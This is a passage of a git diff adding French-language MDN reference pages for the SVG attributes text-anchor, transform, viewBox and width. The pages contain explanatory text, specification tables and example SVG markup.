+   <td><a class="external" href="http://www.w3.org/TR/SVG/text.html#TextAnchorProperty" title="http://www.w3.org/TR/SVG/text.html#TextAnchorProperty">SVG 1.1 (2ème Édition) (anglais)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>start</dt>
+ <dd>Les caractères affichés sont alignés de manière à ce que le début du texte soit au même point que la position initiale du texte. Cela produit l'équivalent d'un alignement à gauche du texte latin dans son orientation usuelle (horizontale de gauche à droite). Pour les écritures de droite à gauche comme l'hébreu et l'arabe, c'est alors l'équivalent d'un alignement à droite. Pour certains textes asiatiques avec une orientation verticale de haut en bas, le résultat sera alors comparable à un alignement en haut.</dd>
+ <dt>middle</dt>
+ <dd>Les caractères sont affichés de manière à ce que le milieu du texte affiché soit la position initiale du texte. (Pour du texte sur un chemin <code>textPath</code>, le texte est dans un premier temps organisé virtuellement selon une ligne droite. Le point équidistant des extrémités horizontales du texte est alors déterminé. Puis, le texte est projeté sur le chemin <code>textPath</code> avec le point calculé précédemment placé à la position courante du texte.)</dd>
+ <dt>end</dt>
+ <dd>Les caractères sont alignés de sorte que la fin du texte soit au même point que la position initiale du texte. Cela produit l'équivalent d'un alignement à droite du texte latin dans son orientation usuelle (horizontale de gauche à droite). Pour les écritures de droite à gauche comme l'hébreu et l'arabe, c'est alors l'équivalent d'un alignement à gauche.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span> <span class="attr-name token">version</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1.1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+    <span class="comment token">&lt;!-- Materialisation of anchors --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>path</span> <span class="attr-name token">d</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>M60,15 L60,110 M30,40 L90,40 M30,75 L90,75 M30,110 L90,110<span class="punctuation token">"</span></span> <span class="attr-name token">stroke</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>grey<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+
+
+    <span class="comment token">&lt;!-- Anchors in action --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>text</span> <span class="attr-name token">text-anchor</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>start<span class="punctuation token">"</span></span>
+          <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>40<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>A<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>text</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>text</span> <span class="attr-name token">text-anchor</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>middle<span class="punctuation token">"</span></span>
+          <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>75<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>A<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>text</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>text</span> <span class="attr-name token">text-anchor</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>end<span class="punctuation token">"</span></span>
+          <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>110<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>A<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>text</span><span class="punctuation token">&gt;</span></span>
+
+    <span class="comment token">&lt;!-- Materialisation of anchors --&gt;</span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>40<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>3<span class="punctuation token">"</span></span> <span class="attr-name token">fill</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>red<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>75<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>3<span class="punctuation token">"</span></span> <span class="attr-name token">fill</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>red<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>110<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>3<span class="punctuation token">"</span></span> <span class="attr-name token">fill</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>red<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="cdata token">&lt;![CDATA[
+text{
+    font: bold 36px Verdana, Helvetica, Arial, sans-serif;
+}
+]]&gt;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><strong>Résultat</strong></p>
+
+<p><a href="https://mdn.mozillademos.org/en-US/docs/Web/SVG/Attribute/text-anchor$samples/Example?revision=648557"><img alt="" src="http://img11.hostingpics.net/pics/616999AAA.png" title="Aperçu de Example?revision=648557"></a></p>
+
+<h2 id="Éléments">Éléments</h2>
+
+<p>Les éléments suivants ont l'attribut <code>text-anchor</code></p>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Element" title="en/SVG/Element#TextContent">Éléments contenant du texte</a> »</li>
+</ul>
diff --git a/files/fr/web/svg/attribute/transform/index.html b/files/fr/web/svg/attribute/transform/index.html
new file mode 100644
index 0000000000..e8b3843ed2
--- /dev/null
+++ b/files/fr/web/svg/attribute/transform/index.html
@@ -0,0 +1,264 @@
+---
+title: transform
+slug: Web/SVG/Attribute/transform
+tags:
+  - Attribut
+  - SVG
+translation_of: Web/SVG/Attribute/transform
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <strong><code>transform</code></strong> définit une liste de définitions de transformation qui sont appliquées à l'élément ainsi qu'à ses éléments fils.</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;g fill="grey"
+     transform="rotate(-10 50 100)
+                translate(-36 45.5)
+                skewX(40)
+                scale(1 0.5)"&gt;
+    &lt;path id="heart" d="M 10,30 A 20,20 0,0,1 50,30 A 20,20 0,0,1 90,30 Q 90,60 50,90 Q 10,60 10,30 z" /&gt;
+  &lt;/g&gt;
+
+  &lt;use xlink:href="#heart" fill="none" stroke="red"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<p class="note"><strong>Note :</strong> Pour SVG2, <code>transform</code> est un attribut de présentation et peut donc être utilisé comme une propriété CSS. Attention toutefois aux différences de syntaxe entre la propriété CSS et cet attribut. Voir la documentation de la propriété {{cssxref('transform')}} pour la syntaxe .</p>
+
+<p>En tant qu'attribut de présentation, <strong><code>transform</code></strong> peut être utilisé par n'importe quel élément (en SVG 1.1, seuls les 16 éléments suivants pouvaient l'utiliser : {{SVGElement('a')}}, {{SVGElement('circle')}}, {{SVGElement('clipPath')}}, {{SVGElement('defs')}}, {{SVGElement('ellipse')}}, {{SVGElement('foreignObject')}}, {{SVGElement('g')}}, {{SVGElement('image')}}, {{SVGElement('line')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('switch')}}, {{SVGElement('text')}} et {{SVGElement('use')}}).</p>
+
+<p>Pour des raisons historiques liées à SVG 1.1, {{SVGElement('linearGradient')}} et {{SVGElement('radialGradient')}} prennent en charge l'attribut <code>gradientTransform</code> et {{SVGElement('pattern')}} permet d'utiliser <code>patternTransform</code>. Ces deux attributs sont exactement synonymes de l'attribut <code>transform</code>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><code><strong><a href="/fr/docs/Web/SVG/Content_type#Transform-list">&lt;transform-list&gt;</a></strong></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>none</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Peut être animé</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Fonctions_de_transformation">Fonctions de transformation</h2>
+
+<p>Les fonctions de transformation suivantes peuvent être utilisées par l'attribut <code>transform</code>.</p>
+
+<p class="warning"><strong>Attention !</strong> Selon la spécification, on devrait également pouvoit utiliser les fonctions CSS {{cssxref('transform-function', 'transform functions')}} mais la compatibilité n'est pas assurée.</p>
+
+<h3 id="matrix"><code>matrix()</code></h3>
+
+<p>La fonction de transformation <code>matrix(&lt;a&gt; &lt;b&gt; &lt;c&gt; &lt;d&gt; &lt;e&gt; &lt;f&gt;)</code> permet d'appliquer une transformation géométrique décrite par 6 coefficients et <code>matrix(a,b,c,d,e,f)</code> sera équivalent à la matrice de transformation mathématique :<math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math>Le calcul des coordonnées s'obtient de la façon suivante :<math display="block"><semantics><mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow></mrow><annotation encoding="TeX"> \begin{pmatrix} x_{\mathrm{newCoordSys}} \\ y_{\mathrm{newCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{prevCoordSys}} \\ y_{\mathrm{prevCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{prevCoordSys}} + c y_{\mathrm{prevCoordSys}} + e \\ b x_{\mathrm{prevCoordSys}} + d y_{\mathrm{prevCoordSys}} + f \\ 1 \end{pmatrix} </annotation></semantics></math></p>
+
+<h4 id="Exemples">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="10" y="10" width="30" height="20" fill="green" /&gt;
+
+  &lt;!--
+  Dans l'exemple suivant, on applique la matrice suivante:
+  [a c e]    [3 -1 30]
+  [b d f] =&gt; [1  3 40]
+  [0 0 1]    [0  0  1]
+
+  qui transforme le rectangle de cette façon:
+
+  top left corner: oldX=10 oldY=10
+  newX = a * oldX + c * oldY + e = 3 * 10 - 1 * 10 + 30 = 50
+  newY = b * oldX + d * oldY + f = 1 * 10 + 3 * 10 + 40 = 80
+
+  top right corner: oldX=40 oldY=10
+  newX = a * oldX + c * oldY + e = 3 * 40 - 1 * 10 + 30 = 140
+  newY = b * oldX + d * oldY + f = 1 * 40 + 3 * 10 + 40 = 110
+
+  bottom left corner: oldX=10 oldY=30
+  newX = a * oldX + c * oldY + e = 3 * 10 - 1 * 30 + 30 = 30
+  newY = b * oldX + d * oldY + f = 1 * 10 + 3 * 30 + 40 = 140
+
+  bottom right corner: oldX=40 oldY=30
+  newX = a * oldX + c * oldY + e = 3 * 40 - 1 * 30 + 30 = 120
+  newY = b * oldX + d * oldY + f = 1 * 40 + 3 * 30 + 40 = 170
+  --&gt;
+  &lt;rect x="10" y="10" width="30" height="20" fill="red"
+        transform="matrix(3 1 -1 3 30 40)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('matrix()', '100%', 200)}}</p>
+
+<h3 id="translate"><code>translate()</code></h3>
+
+<p>La fonction de transformation <code>translate(&lt;x&gt; [&lt;y&gt;])</code> permet de déplacer un objet de <code>x</code> sur l'axe horizontal et de <code>y</code> sur l'axe vertical (i.e. <code>x<sub>new</sub> = x<sub>old</sub> + &lt;x&gt;, y<sub>new</sub> = y<sub>old</sub> + &lt;y&gt;</code>). Si <code>y</code> n'est pas fourni, la valeur par défaut est 0.</p>
+
+<h4 id="Exemples_2">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Pas de translation --&gt;
+  &lt;rect x="5" y="5" width="40" height="40" fill="green" /&gt;
+
+  &lt;!-- Translation horizontale --&gt;
+  &lt;rect x="5" y="5" width="40" height="40" fill="blue"
+        transform="translate(50)" /&gt;
+
+  &lt;!-- Translation verticale --&gt;
+  &lt;rect x="5" y="5" width="40" height="40" fill="red"
+        transform="translate(0 50)" /&gt;
+
+  &lt;!-- Translation horizontale et verticale --&gt;
+  &lt;rect x="5" y="5" width="40" height="40" fill="yellow"
+         transform="translate(50,50)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('translate()', '100%', 200)}}</p>
+
+<h3 id="scale"><code>scale()</code></h3>
+
+<p>La fonction de transformation <code>scale(&lt;x&gt; [&lt;y&gt;])</code> définit une homothétie d'un facteur <code>x</code> en horizontal et d'un facteur <code>y</code> en vertical. Si la valeur <code>y</code> n'est pas fournie, on considère qu'elle est égale à <code>x</code>.</p>
+
+<h4 id="Exemples_3">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-50 -50 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- uniform scale --&gt;
+  &lt;circle cx="0" cy="0" r="10" fill="red"
+          transform="scale(4)" /&gt;
+
+  &lt;!-- vertical scale --&gt;
+  &lt;circle cx="0" cy="0" r="10" fill="yellow"
+          transform="scale(1,4)" /&gt;
+
+  &lt;!-- horizontal scale --&gt;
+  &lt;circle cx="0" cy="0" r="10" fill="pink"
+          transform="scale(4,1)" /&gt;
+
+  &lt;!-- No scale --&gt;
+  &lt;circle cx="0" cy="0" r="10" fill="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('scale()', '100%', 200)}}</p>
+
+<h3 id="rotate"><code>rotate()</code></h3>
+
+<p>La fonction de transformation <code>rotate(&lt;a&gt; [&lt;x&gt; &lt;y&gt;])</code> définit une rotation de <code>a</code> degrés autour d'un point de coordonnées <code>x</code> et <code>y</code>. Si les paramètres optionnels <code>x</code> et <code>y</code> ne sont pas fournis, la rotation est effectuée autour de l'origine dans le système de coordonnés actuel.</p>
+
+<h4 id="Exemples_4">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-12 -2 34 14" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="0" y="0" width="10" height="10" /&gt;
+
+  &lt;!-- rotation is done around the point 0,0 --&gt;
+  &lt;rect x="0" y="0" width="10" height="10" fill="red"
+        transform="rotate(100)" /&gt;
+
+  &lt;!-- rotation is done around the point 10,10 --&gt;
+  &lt;rect x="0" y="0" width="10" height="10" fill="green"
+        transform="rotate(100,10,10)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('rotate()', '100%', 200)}}</p>
+
+<h3 id="skewX"><code>skewX()</code></h3>
+
+<p>La fonction de transformation <code>skewX(&lt;a&gt;)</code> définit une distorsion horizontale de <code>a</code> degrés.</p>
+
+<h4 id="Exemples_5">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="-3" y="-3" width="6" height="6" /&gt;
+
+  &lt;rect x="-3" y="-3" width="6" height="6" fill="red"
+        transform="skewX(30)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('skewX()', '100%', 200)}}</p>
+
+<h3 id="skewY"><code>skewY()</code></h3>
+
+<p>La fonction de transformation <code>skewY(&lt;a&gt;)</code> définit une distorsion verticale de <code>a</code> degrés.</p>
+
+<h4 id="Exemples_6">Exemples</h4>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;rect x="-3" y="-3" width="6" height="6" /&gt;
+
+  &lt;rect x="-3" y="-3" width="6" height="6" fill="red"
+        transform="skewY(30)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('skewY()', '100%', 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#svg-transform', 'transform')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transforms', '#svg-transform', 'transform')}}</td>
+   <td>{{Spec2('CSS3 Transforms')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "coords.html#TransformProperty", "transform")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "coords.html#TransformAttribute", "transform")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/viewbox/index.html b/files/fr/web/svg/attribute/viewbox/index.html
new file mode 100644
index 0000000000..a0e011419f
--- /dev/null
+++ b/files/fr/web/svg/attribute/viewbox/index.html
@@ -0,0 +1,67 @@
+---
+title: viewBox
+slug: Web/SVG/Attribute/viewBox
+tags:
+  - Attributs SVG
+  - SVG
+translation_of: Web/SVG/Attribute/viewBox
+---
+<p>« <a href="/fr/SVG/Attribute">Sommaire de la référence des attributs SVG</a></p>
+
+<p>L'attribut <code>viewBox</code> permet de spécifier qu'un groupe d'éléments graphiques s'étire afin de s'adapter à un élément conteneur.</p>
+
+<p>La valeur de l'attribut <code>viewBox</code> est une liste de quatre nombres <code>min-x</code>, <code>min-y</code>, <code>width</code> et <code>height</code>, séparés par des espaces ou/et des virgules. Ces nombres spécifient un rectangle dans l'espace utilisateur, qui doit correspondre aux coins du viewport établis par l'élément SVG donné, ceci en prenant en compte l'attribut {{ SVGAttr("preserveAspectRatio") }}.</p>
+
+<p>Les valeurs négatives de <code>width</code> et <code>height</code> ne sont pas autorisées et une valeur à zéro désactive le rendu de l'élément.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><em>Voir ci-dessus</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document de norme</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute" title="http://www.w3.org/TR/SVG11/coords.html#ViewBoxAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Nous créons ici un viewport de 300×200 unités, ce qui fait que chaque unité de l'élément SVG correspondra à une unité du viewport. On aura donc un élément SVG dont le système de coordonnée ira de 0 à 300 en largeur et de 0 à 200 en hauteur :</p>
+
+<p><code>&lt;svg width="300" height="200"&gt;&lt;/svg&gt;</code></p>
+
+<p>En ajoutant une notion de viewbox, nous transformons ce système de coordonnées afin qu'il aille de 0 à w à l'horizontale et de 0 à h à la verticale. Ici, ce sera donc 300/30 (=10) en x ce qui équivaut à 10 unités d'élément SVG pour 1 unité du viewport :</p>
+
+<p><code>&lt;svg width="300" height="200" viewBox="0 0 30 20"&gt;&lt;/svg&gt;</code></p>
+
+<h2 id="Elements">Elements</h2>
+
+<p>Les éléments suivants peuvent utiliser l'attribut <code>viewBox</code></p>
+
+<ul>
+ <li>{{ SVGElement("svg") }}</li>
+ <li>{{ SVGElement("symbol") }}</li>
+ <li>{{ SVGElement("image") }}</li>
+ <li>{{ SVGElement("marker") }}</li>
+ <li>{{ SVGElement("pattern") }}</li>
+ <li>{{ SVGElement("view") }}</li>
+</ul>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/SVG/Tutoriel/Positionnement">Introduction au SVG : Positionnement</a></li>
+</ul>
diff --git a/files/fr/web/svg/attribute/width/index.html b/files/fr/web/svg/attribute/width/index.html
new file mode 100644
index 0000000000..fe3a191725
--- /dev/null
+++ b/files/fr/web/svg/attribute/width/index.html
@@ -0,0 +1,68 @@
+---
+title: Width
+slug: Web/SVG/Attribute/width
+translation_of: Web/SVG/Attribute/width
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Cet attribut indique une dimension horizontale <code>&lt;length&gt;</code> dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la largeur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément).</p>
+
+<p>Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% (exepté pour l'élément racine {{ SVGElement("svg") }} qui possède un parent HTML),  {{ SVGElement("filter") }} et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Catégories</th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td><a href="/en/SVG/Content_type#Length" title="https://developer.mozilla.org/en/SVG/Content_type#Length">&lt;length&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementWidthAttribute" title="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementWidthAttribute">SVG 1.1 (2nd Edition): foreignObject element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElementWidthAttribute" title="http://www.w3.org/TR/SVG/struct.html#ImageElementWidthAttribute">SVG 1.1 (2nd Edition): image element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#PatternElementWidthAttribute" title="http://www.w3.org/TR/SVG/pservers.html#PatternElementWidthAttribute">SVG 1.1 (2nd Edition): pattern element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElementWidthAttribute" title="http://www.w3.org/TR/SVG/shapes.html#RectElementWidthAttribute">SVG 1.1 (2nd Edition): rect element</a><br>
